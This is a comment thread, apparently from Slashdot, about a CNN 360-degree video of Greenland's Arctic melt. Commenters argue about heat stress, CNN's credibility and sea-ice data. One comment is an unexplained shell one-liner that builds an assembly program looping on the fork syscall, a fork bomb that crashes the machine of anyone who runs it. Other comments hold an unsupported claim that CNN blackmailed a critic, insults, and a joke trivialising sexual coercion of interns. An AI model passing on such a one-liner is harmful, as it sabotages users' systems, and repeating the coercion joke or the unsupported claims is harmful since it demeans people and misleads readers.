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CNN Visualizes Climate Change-Driven Arctic Melt With 360-Degree VR Video (cnn.com)
dryriver writes: CNN has put up a slickly produced and somewhat alarming 360-degree browser video experience that allows the viewer to see firsthand what arctic melt looks like in Greenland. The video takes the viewer to the "Ground Zero" of climate change. Throughout the 7-minute long video, the viewer can interactively look around the locations visited. Voice narration and various scientists featured in the video explain what is happening in the Arctic, what causes the melting, and what the potential consequences are for the world.
'When the external environmental temperature tips above our body temperature we begin to slow cook within our own skin unable to release heat."
That isn't true at all. Otherwise everyone would be dead in summer. Amazingly we have all survived, and people actually live in hot environments before airconditioning existed. I know, hard to believe, but AC didn't always exist and people actually lived in deserts.
Your partially correct, partially wrong.
If we have shade and cover and water we can survive, uncovered and exposed it's a matter of physics that external temperatures above our body temperatures lead to hyperthermia.
Most desert dwelling people adapt by the usage of water and coverings designed to deflect heat as well as staying out of direct sunlight during high noon periods.
We do sweat to cool down, but can only do so to the point we exhaust our internal water supply and even then this is only partially effective and dependent on the unique physiology of each individual.
A population also has a spectrum of people. Children, the elderly, and the obese are more susceptible to high temperatures and heat stroke.
CNN does a pretty good job scaring people. A man produced a short video making fun of them, and when Trump retweeted it, they threatened him into silence. They forced him to apologize, delete all his social media posts, and forever remain silent under pain of being doxxed.This happened. Their confession is right here. This wasn't some mafia don, CNN did this. It wasn't just to silence the offender, but to pre-emptively silence anyone else from attempting to mock CNN, as stated in their confession. Honestly I don't know how they got away with it without being prosecuted. Yes, they can be very scary.
Shutting down free speech with violence isn't fighting fascism. It IS fascism!
CNN does a pretty good job scaring people.
There's a reason they used the voice of Darth Vader to say "This is CNN".
https://youtu.be/BuHfSo5YI_M
I think what they're doing is admirable, once you understand the sort of society they operate in.
They are a minor house, bannermen sworn to House Democrat. As a feudal vassal they are expected to inveigh against the current ruling King Donald of House Trump and attempt to restore what they see as the rightful ruling house.
You can't judge them by modern standards, you have to judge them according the standards of morality which operate in the feudal society they live in.
Expecting them to think about things like 'truth' and 'journalism' is completely anachronistic. It'd be like expecting packs of dogs to treat members of rival pack the same way they treat the alpha of their pack. Of course they yap at members of rival packs and bend over and expose their bellies in submissive way to the alpha. All their ancestors did that and the ones that didn't weren't given food and weren't allowed to mate with the interns and thus their genes didn't survive. The ones who played by the rules were allowed to breed whether the interns wanted it or not. So evolution has selected for this behaviour and essentially for this morality. Expecting them to treat non ingroup members of their species the same as ingroup ones is ridiculous! Same with expecting them to worry about whether the interns wanted to be bred with! Dog society has different rules than our society.
And it's the same with CNN. You can't expect them to behave like humans.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
they refused to release before and after pics, so this isn't very convincing evidence.
They don't need convincing evidence because they're showing something we already know is a fact. This is like you demanding that they need to show evidence for claiming that Donald Trump is the current president.
It's almost like they're trolling.
It's almost like you're an idiot.
The arctic ice is shrinking. It's been covered many times both here and just about anywhere that covers news. At this point ignorance of the fact (especially as yo're happy to weigh in!) is wilful. Wilful ignorance is stupidity, plain and simple.
SJW n. One who posts facts.
If you wish to prove a point, claiming "I already did!'" is not evidence. Global warming is happening, but you must be consistent and not lie to convince others. 2017 arctic ice is within historical norms unless very, very careful selection of beginning and ending years to start at peaks (1972, 1981, 1996, 2008) and end in valleys (1985, 1995, 2007, 2013, 2016).
I agree with your points that it's important to be careful with data, but no, at the moment it looks like Arctic ice is significantly lower than historical norms. Here's the graph as of last month: http://nsidc.org/arcticseaicen...
Interactive chart is here: https://nsidc.org/arcticseaice...
If you want total volume, and not coverage, the best data is from the NASA GRACE mission (measuring gravity). That mission is now over. But here's data: http://polarportal.dk/en/groen... , and here's a visualization through 2014: https://gracefo.jpl.nasa.gov/r...
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